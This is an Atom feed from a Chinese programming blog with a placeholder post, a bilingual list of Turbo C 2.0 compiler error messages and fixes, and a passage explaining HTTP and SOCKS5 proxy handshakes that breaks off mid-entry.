<?xml version="1.0" encoding="GB2312"?> 
<feed version="0.3" xmlns="http://purl.org/atom/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xml:lang="en"> 
<title><![CDATA[kaixin8]]></title>
<link rel="alternate" type="text/html" href="http://kaixin8.bokee.com/index.html" /> 
<modified>2006-04-08T21:33:07Z</modified> 
<tagline type="text/html" mode="escaped"><![CDATA[由于精力有限,此博客停止更新<br>喜欢Linux的可以去我的新博客：中文Linux笔记 http://linux.bokee.com]]></tagline> 
<generator url="http://www.blogdriver.com/" version="2.0">BlogDriver</generator> 
<copyright>Copyright (c) 2004, 刘加开</copyright> 

<entry> 
<title><![CDATA[22]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/6589202.html" />  
<issued>2008-01-02T18:21:29Z</issued> 
<created>2008-01-02T18:21:29Z</created> 
<modified>2008-01-02T18:21:29Z</modified>
<id>tag:kaixin8.blogchina.com,2008://6589202</id>
<author> 
<name>刘加开</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>趣味数学</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[222222222222]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[Turbo C(V2.0)编译错误信息]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1729376.html" />  
<issued>2005-05-31T18:39:29Z</issued> 
<created>2005-05-31T18:39:29Z</created> 
<modified>2005-05-31T18:39:29Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1729376</id>
<author> 
<name>奇才</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>C语言基础</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[Turbo&amp;nbsp;C(V2.0)编译错误信息<br /><br />编译错误信息<br />　　说明：Turbo&amp;nbsp;C&amp;nbsp;的源程序错误分为三种类型：致命错误、一般错误和警告。其中，致命错误通常是内部编译出错；一般错误指程序的语法错误、磁盘或内存存取错误或命令行错误等；警告则只是指出一些得怀疑的情况，它并不防止编译的进行。<br />　　下面按字母顺序A～Z分别列出致命错误及一般错误信息，英汉对照及处理方法：<br /><br />(一)、致命错误英汉对照及处理方法：<br /><br />Ａ－Ｂ致命错误<br /><br />Bad&amp;nbsp;call&amp;nbsp;of&amp;nbsp;in-line&amp;nbsp;function&amp;nbsp;(内部函数非法调用)<br />分析与处理：在使用一个宏定义的内部函数时，没能正确调用。一个内部函数以两个下划线(__)开始和结束。<br /><br />Irreducable&amp;nbsp;expression&amp;nbsp;tree&amp;nbsp;(不可约表达式树)<br />分析与处理：这种错误指的是文件行中的表达式太复杂，使得代码生成程序无法为它生成代码。这种表达式必须避免使用。<br /><br />Register&amp;nbsp;allocation&amp;nbsp;failure&amp;nbsp;(存储器分配失败)<br />分析与处理：这种错误指的是文件行中的表达式太复杂，代码生成程序无法为它生成代码。此时应简化这种繁杂的表达式或干脆避免使用它。<br /><br />(二)、一般错误信息英汉照及处理方法<br /><br />#operator&amp;nbsp;not&amp;nbsp;followed&amp;nbsp;by&amp;nbsp;maco&amp;nbsp;argument&amp;nbsp;name(#运算符后没跟宏变元名)<br />分析与处理：在宏定义中，#用于标识一宏变串。“#”号后必须跟一个宏变元名。<br />'xxxxxx'&amp;nbsp;not&amp;nbsp;anargument&amp;nbsp;('xxxxxx'不是函数参数)<br />分析与处理：在源程序中将该标识符定义为一个函数参数，但此标识符没有在函数中出现。<br /><br />Ambiguous&amp;nbsp;symbol&amp;nbsp;'xxxxxx'&amp;nbsp;(二义性符号'xxxxxx')<br />分析与处理：两个或多个结构的某一域名相同，但具有的偏移、类型不同。在变量或表达式中引用该域而未带结构名时，会产生二义性，此时需修改某个域名或在引用时加上结构名。<br /><br />Argument&amp;nbsp;#&amp;nbsp;missing&amp;nbsp;name&amp;nbsp;(参数#名丢失)<br />分析与处理：参数名已脱离用于定义函数的函数原型。如果函数以原型定义，该函数必须包含所有的参数名。<br /><br />Argument&amp;nbsp;list&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(参数表出现语法错误)<br />分析与处理：函数调用的参数间必须以逗号隔开，并以一个右括号结束。若源文件中含有一个其后不是逗号也不是右括号的参数，则出错。<br /><br />Array&amp;nbsp;bounds&amp;nbsp;missing&amp;nbsp;(数组的界限符&amp;quot;]&amp;quot;丢失)<br />分析与处理：在源文件中定义了一个数组，但此数组没有以下右方括号结束。<br /><br />Array&amp;nbsp;size&amp;nbsp;too&amp;nbsp;large&amp;nbsp;(数组太大)<br />分析与处理：定义的数组太大，超过了可用内存空间。<br /><br />Assembler&amp;nbsp;statement&amp;nbsp;too&amp;nbsp;long&amp;nbsp;(汇编语句太长)<br />分析与处理：内部汇编语句最长不能超过480字节。<br /><br />Bad&amp;nbsp;configuration&amp;nbsp;file&amp;nbsp;(配置文件不正确)<br />分析与处理：TURBOC.CFG配置文件中包含的不是合适命令行选择项的非注解文字。配置文件命令选择项必须以一个短横线开始。<br /><br />Bad&amp;nbsp;file&amp;nbsp;name&amp;nbsp;format&amp;nbsp;in&amp;nbsp;include&amp;nbsp;directive(包含指令中文件名格式不正确)<br />分析与处理：包含文件名必须用引号(&amp;quot;filename.h&amp;quot;)或尖括号(&amp;lt;filename&amp;gt;)括起来，否则将产生本类错误。如果使用了宏，则产生的扩展文本也不正确，因为无引号没办法识别。<br /><br />Bad&amp;nbsp;ifdef&amp;nbsp;directive&amp;nbsp;syntax&amp;nbsp;(ifdef指令语法错误)<br />分析与处理：#ifdef必须以单个标识符(只此一个)作为该指令的体。<br /><br />Bad&amp;nbsp;ifndef&amp;nbsp;directive&amp;nbsp;syntax&amp;nbsp;(ifndef指令语法错误)<br />分析与处理：#ifndef&amp;nbsp;必须以单个标识符(只此一个)作为该指令的体。<br /><br />Bad&amp;nbsp;undef&amp;nbsp;directive&amp;nbsp;syntax&amp;nbsp;(undef指令语法错误)<br />分析与处理：#undef指令必须以单个标识符(只此一个)作为该指令的体。<br /><br />Bad&amp;nbsp;file&amp;nbsp;size&amp;nbsp;syntax&amp;nbsp;(位字段长语法错误)<br />分析与处理：一个位字段长必须是1—16位的常量表达式。<br /><br />Call&amp;nbsp;of&amp;nbsp;non-functin&amp;nbsp;(调用未定义函数)<br />分析与处理：正被调用的函数无定义，通常是由于不正确的函数声明或函数名拼错而造成。<br /><br />Cannot&amp;nbsp;modify&amp;nbsp;a&amp;nbsp;const&amp;nbsp;object&amp;nbsp;(不能修改一个长量对象)<br />分析与处理：对定义为常量的对象进行不合法操作(如常量赋值)引起本错误。<br /><br />Case&amp;nbsp;outside&amp;nbsp;of&amp;nbsp;switch&amp;nbsp;(Case&amp;nbsp;出现在switch外)<br />分析与处理：编译程序发现Case语句出现在switch语句之外，这类故障通常是由于括号不匹配造成的。<br /><br />Case&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;(Case语句漏掉)<br />分析与处理：Case语必须包含一个以冒号结束的常量表达式，如果漏了冒号或在冒号前多了其它符号，则会出现此类错误。<br /><br />Character&amp;nbsp;constant&amp;nbsp;too&amp;nbsp;long&amp;nbsp;(字符常量太长)<br />分析与处理：字符常量的长度通常只能是一个或两个字符长，超过此长度则会出现这种错误。<br /><br />Compound&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;(漏掉复合语句)<br />分析与处理：编译程序扫描到源文件未时，未发现结束符号&amp;nbsp;(大括号)，此类故障通常是由于大括号不匹配所致。<br /><br />Conflicting&amp;nbsp;type&amp;nbsp;modifiers&amp;nbsp;(类型修饰符冲突)<br />分析与处理：对同一指针，只能指定一种变址修饰符(如near&amp;nbsp;或far)；而对于同一函数，也只能给出一种语言修饰符(如Cdecl、pascal或interrupt)。<br /><br />Constant&amp;nbsp;expression&amp;nbsp;required&amp;nbsp;(需要常量表达式)<br />分析与处理：数组的大小必须是常量，本错误通常是由于#define常量的拼写错误引起。<br /><br />Could&amp;nbsp;not&amp;nbsp;find&amp;nbsp;file&amp;nbsp;'xxxxxx.xxx'&amp;nbsp;(找不到'xxxxxx.xx'文件)<br />分析与处理：编译程序找不到命令行上给出的文件。&amp;nbsp;<br /><br />Declaration&amp;nbsp;missing&amp;nbsp;(漏掉了说明)<br />分析与处理：当源文件中包含了一个struct或&amp;nbsp;union域声明，而后面漏掉了分号，则会出现此类错误。<br /><br />Declaration&amp;nbsp;needs&amp;nbsp;type&amp;nbsp;or&amp;nbsp;storage&amp;nbsp;class(说明必须给出类型或存储类)<br />分析与处理：正确的变量说明必须指出变量类型，否则会出现此类错误。<br /><br />Declaration&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(说明出现语法错误)<br />分析与处理：在源文件中，若某个说明丢失了某些符号或输入多余的符号，则会出现此类错误。<br /><br />Default&amp;nbsp;outside&amp;nbsp;of&amp;nbsp;switch&amp;nbsp;(Default语句在switch语句外出现)<br />分析与处理：这类错误通常是由于括号不匹配引起的。<br /><br />Define&amp;nbsp;directive&amp;nbsp;needs&amp;nbsp;an&amp;nbsp;identifier&amp;nbsp;(Define指令必须有一个标识符)<br />分析与处理：#define&amp;nbsp;后面的第一个非空格符必须是一个标识符，若该位置出现其它字符，则会引起此类错误。<br /><br />Division&amp;nbsp;by&amp;nbsp;zero&amp;nbsp;(除数为零)<br />分析与处理：当源文件的常量表达式出现除数为零的情况，则会造成此类错误。<br /><br />Do&amp;nbsp;statement&amp;nbsp;must&amp;nbsp;have&amp;nbsp;while&amp;nbsp;(do语句中必须有While关键字)<br />分析与处理：若源文件中包含了一个无While关键字的&amp;nbsp;do语句，则出现本错误。<br /><br />DO&amp;nbsp;while&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;(&amp;nbsp;(Do&amp;nbsp;while语句中漏掉了符号&amp;nbsp;&amp;quot;(&amp;quot;)<br />分析与处理：在do语句中，若&amp;nbsp;while关键字后无左括号，则出现本错误。<br /><br />Do&amp;nbsp;while&amp;nbsp;statement&amp;nbsp;missing；(Do&amp;nbsp;while语句中掉了分号)<br />分析与处理：在DO语句的条件表达式中，若右括号后面无分号则出现此类错误。<br /><br />Duplicate&amp;nbsp;Case&amp;nbsp;(Case情况不唯一)<br />分析与处理：Switch语句的每个case必须有一个唯一的常量表达式值。否则导致此类错误发生。<br /><br />Enum&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(Enum语法错误)<br />分析与处理：若enum说明的标识符表格式不对，将会引起此类错误发生。<br /><br />Enumeration&amp;nbsp;constant&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(枚举常量语法错误)<br />分析与处理：若赋给enum类型变量的表达式值不为常量，则会导致此类错误发生。<br /><br />Error&amp;nbsp;Directive&amp;nbsp;:&amp;nbsp;xxxx&amp;nbsp;(Error指令：xxxx)<br />分析与处理：源文件处理#error指令时，显示该指令指出的信息。<br /><br />Error&amp;nbsp;Writing&amp;nbsp;output&amp;nbsp;file&amp;nbsp;(写输出文件错误)<br />分析与处理：这类错误通常是由于磁盘空间已满，无法进行写入操作而造成。<br /><br />Expression&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(表达式语法错误)<br />分析与处理：本错误通常是由于出现两个连续的操作符，括号不匹配或缺少括号、前一语句漏掉了分号引起的。<br />Extra&amp;nbsp;parameter&amp;nbsp;in&amp;nbsp;call&amp;nbsp;(调用时出现多余参数)<br />分析与处理：本错误是由于调用函数时，其实际参数个数多于函数定义中的参数个数所致。<br /><br />Extra&amp;nbsp;parameter&amp;nbsp;in&amp;nbsp;call&amp;nbsp;to&amp;nbsp;xxxxxx(调用xxxxxxxx函数时出现了多余参数)<br /><br />File&amp;nbsp;name&amp;nbsp;too&amp;nbsp;long&amp;nbsp;(文件名太长)<br />分析与处理：#include指令给出的文件名太长，致使编译程序无法处理，则会出现此类错误。通常DOS下的文件名长度不能超过&amp;nbsp;64个字符。<br /><br />For&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;)&amp;nbsp;(For语名缺少&amp;quot;)&amp;quot;)<br />分析与处理：在&amp;nbsp;for语句中，如果控制表达式后缺少右括号，则会出现此类错误。<br /><br />For&amp;nbsp;statement&amp;nbsp;missing(&amp;nbsp;(For语句缺少&amp;quot;(&amp;quot;)<br /><br />For&amp;nbsp;statement&amp;nbsp;missing;&amp;nbsp;(For&amp;nbsp;语句缺少&amp;quot;；&amp;quot;)<br />分析与处理：在&amp;nbsp;for语句中，当某个表达式后缺少分号，则会出现此类错误。<br /><br />Function&amp;nbsp;call&amp;nbsp;missing)&amp;nbsp;(函数调用缺少&amp;quot;)&amp;quot;)<br />分析与处理：如果函数调用的参数表漏掉了右手括号或括号不匹配，则会出现此类错误。<br /><br />Function&amp;nbsp;definition&amp;nbsp;out&amp;nbsp;ofplace&amp;nbsp;(函数定义位置错误)<br /><br />Function&amp;nbsp;doesn't&amp;nbsp;take&amp;nbsp;a&amp;nbsp;variable&amp;nbsp;number&amp;nbsp;of&amp;nbsp;argument(函数不接受可变的参数个数)<br /><br />Goto&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;label&amp;nbsp;(Goto语句缺少标号)<br /><br />If&amp;nbsp;statement&amp;nbsp;missing(&amp;nbsp;(If语句缺少&amp;quot;(&amp;quot;)<br /><br />If&amp;nbsp;statement&amp;nbsp;missing)&amp;nbsp;(If语句缺少&amp;quot;)&amp;quot;)<br /><br />lllegal&amp;nbsp;initalization&amp;nbsp;(非法初始化)<br /><br />lllegal&amp;nbsp;octal&amp;nbsp;digit&amp;nbsp;(非法八进制数)<br />分析与处理：此类错误通常是由于八进制常数中包含了非八进制数字所致。<br /><br />lllegal&amp;nbsp;pointer&amp;nbsp;subtraction&amp;nbsp;(非法指针相减)<br /><br />lllegal&amp;nbsp;structure&amp;nbsp;operation&amp;nbsp;(非法结构操作)<br /><br />lllegal&amp;nbsp;use&amp;nbsp;of&amp;nbsp;floating&amp;nbsp;point&amp;nbsp;(浮点运算非法)<br /><br />lllegal&amp;nbsp;use&amp;nbsp;of&amp;nbsp;pointer&amp;nbsp;(指针使用非法)<br /><br />Improper&amp;nbsp;use&amp;nbsp;of&amp;nbsp;a&amp;nbsp;typedef&amp;nbsp;symbol&amp;nbsp;(typedef符号使用不当)<br /><br />Incompatible&amp;nbsp;storage&amp;nbsp;class&amp;nbsp;(不相容的存储类型)<br /><br />Incompatible&amp;nbsp;type&amp;nbsp;conversion&amp;nbsp;(不相容的类型转换)<br /><br />Incorrect&amp;nbsp;commadn&amp;nbsp;line&amp;nbsp;argument:xxxxxx&amp;nbsp;(不正确的命令行参数：xxxxxxx)<br /><br />Incorrect&amp;nbsp;commadn&amp;nbsp;file&amp;nbsp;argument:xxxxxx&amp;nbsp;(不正确的配置文件参数：xxxxxxx)<br /><br />Incorrect&amp;nbsp;number&amp;nbsp;format&amp;nbsp;(不正确的数据格式)<br /><br />Incorrect&amp;nbsp;use&amp;nbsp;of&amp;nbsp;default&amp;nbsp;(deflult不正确使用)<br /><br />Initializer&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(初始化语法错误)<br /><br />Invaild&amp;nbsp;indrection&amp;nbsp;(无效的间接运算)<br /><br />Invalid&amp;nbsp;macro&amp;nbsp;argument&amp;nbsp;separator&amp;nbsp;(无效的宏参数分隔符)<br /><br />Invalid&amp;nbsp;pointer&amp;nbsp;addition&amp;nbsp;(无效的指针相加)<br /><br />Invalid&amp;nbsp;use&amp;nbsp;of&amp;nbsp;dot&amp;nbsp;(点使用错)<br /><br />Macro&amp;nbsp;argument&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(宏参数语法错误)<br /><br />Macro&amp;nbsp;expansion&amp;nbsp;too&amp;nbsp;long&amp;nbsp;(宏扩展太长)<br /><br />Mismatch&amp;nbsp;number&amp;nbsp;of&amp;nbsp;parameters&amp;nbsp;in&amp;nbsp;definition(定义中参数个数不匹配)<br /><br />Misplaced&amp;nbsp;break&amp;nbsp;(break位置错误)<br /><br />Misplaced&amp;nbsp;continue&amp;nbsp;(位置错)<br /><br />Misplaced&amp;nbsp;decimal&amp;nbsp;point&amp;nbsp;(十进制小数点位置错)<br /><br />Misplaced&amp;nbsp;else&amp;nbsp;(else&amp;nbsp;位置错)<br /><br />Misplaced&amp;nbsp;else&amp;nbsp;driective&amp;nbsp;(clse指令位置错)<br /><br />Misplaced&amp;nbsp;endif&amp;nbsp;directive&amp;nbsp;(endif指令位置错)<br /><br />Must&amp;nbsp;be&amp;nbsp;addressable&amp;nbsp;(必须是可编址的)<br /><br />Must&amp;nbsp;take&amp;nbsp;address&amp;nbsp;of&amp;nbsp;memory&amp;nbsp;location&amp;nbsp;(必须是内存一地址)<br /><br />No&amp;nbsp;file&amp;nbsp;name&amp;nbsp;ending&amp;nbsp;(无文件终止符)<br /><br />No&amp;nbsp;file&amp;nbsp;names&amp;nbsp;given&amp;nbsp;(未给出文件名)<br /><br />Non-protable&amp;nbsp;pointer&amp;nbsp;assignment&amp;nbsp;(对不可移植的指针赋值)<br /><br />Non-protable&amp;nbsp;pointer&amp;nbsp;comparison&amp;nbsp;(不可移植的指针比较)<br /><br />Non-protable&amp;nbsp;return&amp;nbsp;type&amp;nbsp;conversion&amp;nbsp;(不可移植的返回类型转换)<br /><br />Not&amp;nbsp;an&amp;nbsp;allowed&amp;nbsp;type&amp;nbsp;(不允许的类型)<br /><br />Out&amp;nbsp;of&amp;nbsp;memory&amp;nbsp;(内存不够)<br /><br />Pointer&amp;nbsp;required&amp;nbsp;on&amp;nbsp;left&amp;nbsp;side&amp;nbsp;of&amp;nbsp;(操作符左边须是一指针)<br /><br />Redeclaration&amp;nbsp;of&amp;nbsp;'xxxxxx'&amp;nbsp;('xxxxxx'重定义)<br /><br />Size&amp;nbsp;of&amp;nbsp;structure&amp;nbsp;or&amp;nbsp;array&amp;nbsp;not&amp;nbsp;known&amp;nbsp;(结构或数组大小不定)<br /><br />Statement&amp;nbsp;missing；&amp;nbsp;(语句缺少“；”)<br /><br />Structure&amp;nbsp;or&amp;nbsp;union&amp;nbsp;syntax&amp;nbsp;error&amp;nbsp;(结构或联合语法错误)<br /><br />Structure&amp;nbsp;size&amp;nbsp;too&amp;nbsp;large&amp;nbsp;(结构太大)<br />Subscription&amp;nbsp;missing&amp;nbsp;]&amp;nbsp;(下标缺少‘]’)<br /><br />Switch&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;(&amp;nbsp;(switch&amp;nbsp;语句缺少&amp;quot;(&amp;quot;)<br /><br />Switch&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;)&amp;nbsp;(switch&amp;nbsp;语句缺少&amp;quot;)&amp;quot;)<br /><br />Too&amp;nbsp;few&amp;nbsp;parameters&amp;nbsp;in&amp;nbsp;call&amp;nbsp;(函数调用参数太少)<br /><br />Too&amp;nbsp;few&amp;nbsp;parameter&amp;nbsp;in&amp;nbsp;call&amp;nbsp;to'xxxxxx'(调用'xxxxxx'时参数太少)<br /><br />Too&amp;nbsp;many&amp;nbsp;cases&amp;nbsp;(Cases太多)<br /><br />Too&amp;nbsp;many&amp;nbsp;decimal&amp;nbsp;points&amp;nbsp;(十进制小数点太多)<br /><br />Too&amp;nbsp;many&amp;nbsp;default&amp;nbsp;cases&amp;nbsp;(defaut太多)<br /><br />Too&amp;nbsp;many&amp;nbsp;exponents&amp;nbsp;(阶码太多)<br /><br />Too&amp;nbsp;many&amp;nbsp;initializers&amp;nbsp;(初始化太多)<br /><br />Too&amp;nbsp;many&amp;nbsp;storage&amp;nbsp;classes&amp;nbsp;in&amp;nbsp;declaration&amp;nbsp;(说明中存储类太多)<br /><br />Too&amp;nbsp;many&amp;nbsp;types&amp;nbsp;in&amp;nbsp;decleration&amp;nbsp;(说明中类型太多)<br /><br />Too&amp;nbsp;much&amp;nbsp;auto&amp;nbsp;memory&amp;nbsp;in&amp;nbsp;function&amp;nbsp;(函数中自动存储太多)<br /><br />Too&amp;nbsp;much&amp;nbsp;global&amp;nbsp;define&amp;nbsp;in&amp;nbsp;file&amp;nbsp;(文件中定义的全局数据太多)<br /><br />Two&amp;nbsp;consecutive&amp;nbsp;dots&amp;nbsp;(两个连续点)<br /><br />Type&amp;nbsp;mismatch&amp;nbsp;in&amp;nbsp;parameter&amp;nbsp;#&amp;nbsp;(参数&amp;quot;#&amp;quot;类型不匹配)<br /><br />Type&amp;nbsp;mismatch&amp;nbsp;in&amp;nbsp;parameter&amp;nbsp;#&amp;nbsp;in&amp;nbsp;call&amp;nbsp;to&amp;nbsp;'XXXXXXX'&amp;nbsp;(调用'XXXXXXX'时参数#类型不匹配)<br /><br />Type&amp;nbsp;missmatch&amp;nbsp;in&amp;nbsp;parameter&amp;nbsp;'XXXXXXX'&amp;nbsp;(参数'XXXXXXX'类型不匹配)<br /><br />Type&amp;nbsp;mismatch&amp;nbsp;in&amp;nbsp;parameter&amp;nbsp;'YYYYYYYY'&amp;nbsp;in&amp;nbsp;call&amp;nbsp;to&amp;nbsp;'YYYYYYYY'(调用'YYYYYYY'时参数'XXXXXXXX'数型不匹配)<br /><br />Type&amp;nbsp;mismatch&amp;nbsp;in&amp;nbsp;redeclaration&amp;nbsp;of&amp;nbsp;'XXX'&amp;nbsp;(重定义类型不匹配)<br /><br />Unable&amp;nbsp;to&amp;nbsp;creat&amp;nbsp;output&amp;nbsp;file&amp;nbsp;'XXXXXXXX.XXX'&amp;nbsp;(不能创建输出文件'XXXXXXXX.XXX')<br />Unable&amp;nbsp;to&amp;nbsp;create&amp;nbsp;turboc.lnk&amp;nbsp;(不能创建turboc.lnk&amp;nbsp;)<br /><br />Unable&amp;nbsp;to&amp;nbsp;execute&amp;nbsp;command&amp;nbsp;'xxxxxxxx'(不能执行'xxxxxxxx'命令)<br /><br />Unable&amp;nbsp;to&amp;nbsp;open&amp;nbsp;include&amp;nbsp;file&amp;nbsp;'xxxxxxx.xxx'&amp;nbsp;(不能打开包含文件'xxxxxxxx.xxx')<br /><br />Unable&amp;nbsp;to&amp;nbsp;open&amp;nbsp;inputfile&amp;nbsp;'xxxxxxx.xxx'&amp;nbsp;(不能打开输入文件'xxxxxxxx.xxx')<br /><br />Undefined&amp;nbsp;label&amp;nbsp;'xxxxxxx'&amp;nbsp;(标号'xxxxxxx'未定义)<br /><br />Undefined&amp;nbsp;structure&amp;nbsp;'xxxxxxxxx'&amp;nbsp;(结构'xxxxxxxxxx'未定义)<br /><br />Undefined&amp;nbsp;symbol&amp;nbsp;'xxxxxxx'&amp;nbsp;(符号'xxxxxxxx'未定义)<br /><br />Unexpected&amp;nbsp;end&amp;nbsp;of&amp;nbsp;file&amp;nbsp;in&amp;nbsp;comment&amp;nbsp;started&amp;nbsp;on&amp;nbsp;line&amp;nbsp;#(源文件在某个注释中意外结束)<br /><br />Unexpected&amp;nbsp;end&amp;nbsp;of&amp;nbsp;file&amp;nbsp;in&amp;nbsp;conditional&amp;nbsp;stated&amp;nbsp;on&amp;nbsp;line&amp;nbsp;#&amp;nbsp;(源文件在#行开始的条件语句中意外结束)<br /><br />Unknown&amp;nbsp;preprocessor&amp;nbsp;directive&amp;nbsp;'xxx'&amp;nbsp;(不认识的预处理指令：'xxx')Untermimated&amp;nbsp;character&amp;nbsp;constant&amp;nbsp;(未终结的字符常量)<br /><br />Unterminated&amp;nbsp;string&amp;nbsp;(未终结的串)<br /><br />Unterminated&amp;nbsp;string&amp;nbsp;or&amp;nbsp;character&amp;nbsp;constant(未终结的串或字符常量)<br /><br />User&amp;nbsp;break&amp;nbsp;(用户中断)<br /><br />Value&amp;nbsp;required&amp;nbsp;(赋值请求)<br /><br />While&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;(&amp;nbsp;(While语句漏掉&amp;nbsp;'(')<br /><br />While&amp;nbsp;statement&amp;nbsp;missing&amp;nbsp;)&amp;nbsp;(While语句漏掉&amp;nbsp;')')<br /><br />Wrong&amp;nbsp;number&amp;nbsp;of&amp;nbsp;arguments&amp;nbsp;in&amp;nbsp;of&amp;nbsp;'xxxxxxxx'&amp;nbsp;(调用'xxxxxxxx'时参数个数错误)<br />]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[关于代理]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1729284.html" />  
<issued>2005-05-31T18:31:59Z</issued> 
<created>2005-05-31T18:31:59Z</created> 
<modified>2005-05-31T18:31:59Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1729284</id>
<author> 
<name>奇才</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>趣味数学</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<p><font color="#263160"><br /><br />1、HTTP代理<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP代理可以把我们的HTTP请求通过HTTP代理服务器转发到我们要访问的HTTP服务器，再把结果返回给我们，以达到代理的目的。但其功能单一，只能实现HTTP的代理，具体可以查看RFC 2068、2616等相关RFC文档。<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;正常情况下，我们请求HTTP服务是这样的：首先和目的服务器的HTTP服务端口建立TCP连接，然后做类似&amp;quot;GET /index.html HTTP/1.0&amp;quot;的请求，HTTP服务器返回结果。当通过HTTP代理的时候是这样工作的：首先和HTTP代理服务器的服务端口建立TCP连接，然后做类似&amp;quot;GET http://目标服务器地址/index.htm HTTP/1.0&amp;quot;的请求，代理服务器对你的目标服务器做请求后返回结果给你。<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;相关的代码在网上很容易可以找到，这里就不列举了。<br /><br />2、socks代理<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;socks是一个简单灵活的协议框架，包括4和5两个版本，sock5是由IETF核准的基于TCP/IP协议的基本应用程序代理协议，socks由两个部分组成，服务端和客户端。具体信息可以查看RFC 1928相关文档，在网上也可以搜索到许多基于socks5的开源项目，对照RFC文档，你可以了解这个协议的使用。<br /><br />『以下信息来直接摘自互联网』<br /><br />sock5代理客户端的工作程序是： <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1.客户端向代理方服务器发出请求信息。 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.代理方服务器应答 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3.客户端接到应答后发送向代理方服务器发送目的ip和端口 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4.代理方服务器与目的连接 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5.代理方服务器将客户端发出的信息传到目的方，将目的方发出的信息传到客户端。代理完成。<br /><br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;由于网上的信息传输基本上都是运用tcp或udp进行的，所以使用socks5代理可以办到网上所能办到的一切，而且不用担心目的方会查到你的ip,既安全又方便。<br /><br />如何用代理TCP协议：<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1.向服务器的1080端口建立tcp连接。 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.向服务器发送 05 01 00 （此为16进制码，以下同） <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3.如果接到 05 00 则是可以代理 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4.发送 05 01 00 01 + 目的地址（4字节） + 目的端口（2字节），目的地址和端口都是16进制码（不是字符串）。 例202.103.190.27 - 7201 则发送的信息为：05 01 00 01 CA 67 BE 1B 1C 21 (CA=202 67=103 BE=190 1B=27 1C21=7201) <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5.接受服务器返回的自身地址和端口，连接完成 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6.以后操作和直接与目的方进行TCP连接相同。 <br /><br />如何用代理UDP连接 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1.向服务器的1080端口建立udp连接 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.向服务器发送 05 01 00 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3.如果接到 05 00 则是可以代理 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4.发送 05 03 00 01 00 00 00 00 + 本地UDP端口（2字节） <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5.服务器返回 05 00 00 01 +服务器地址+端口 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6.需要申请方发送 00 00 00 01 +目的地址IP（4字节）+目的端口 +所要发送的信息 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7.当有数据报返回时 向需要代理方发出00 00 00 01 +来源地址IP（4字节）+来源端口 +接受的信息 <br /><br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;注：此为不需要密码的代理协议，只是socks5的一部分，完整协议请看RFC1928<br /><br /></font><font color="#263160"><br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;在网络程序设计过程中，我们经常要与各种类型的代理服务器打交道，比如在企业内部网通过代理去访问Internet网上的服务器等等，一般代理服务器支持几种常见的代理协议标准，如Socks4,Socks5,Http代理，其中Socks5需要用户验证，代理相对复杂。我在查阅RFC文档和相关资料后，特总结一些TCP协议穿透代理服务器的程序片断，希望对大家有所帮助。<br /><br 